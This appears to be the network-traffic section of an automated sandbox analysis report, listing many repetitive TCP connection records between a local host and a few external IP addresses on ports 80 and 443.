Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49183 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49184 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49185 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49186 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49187 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49188 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49189 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49190 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49191 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49192 -> 187.45.240.69:80
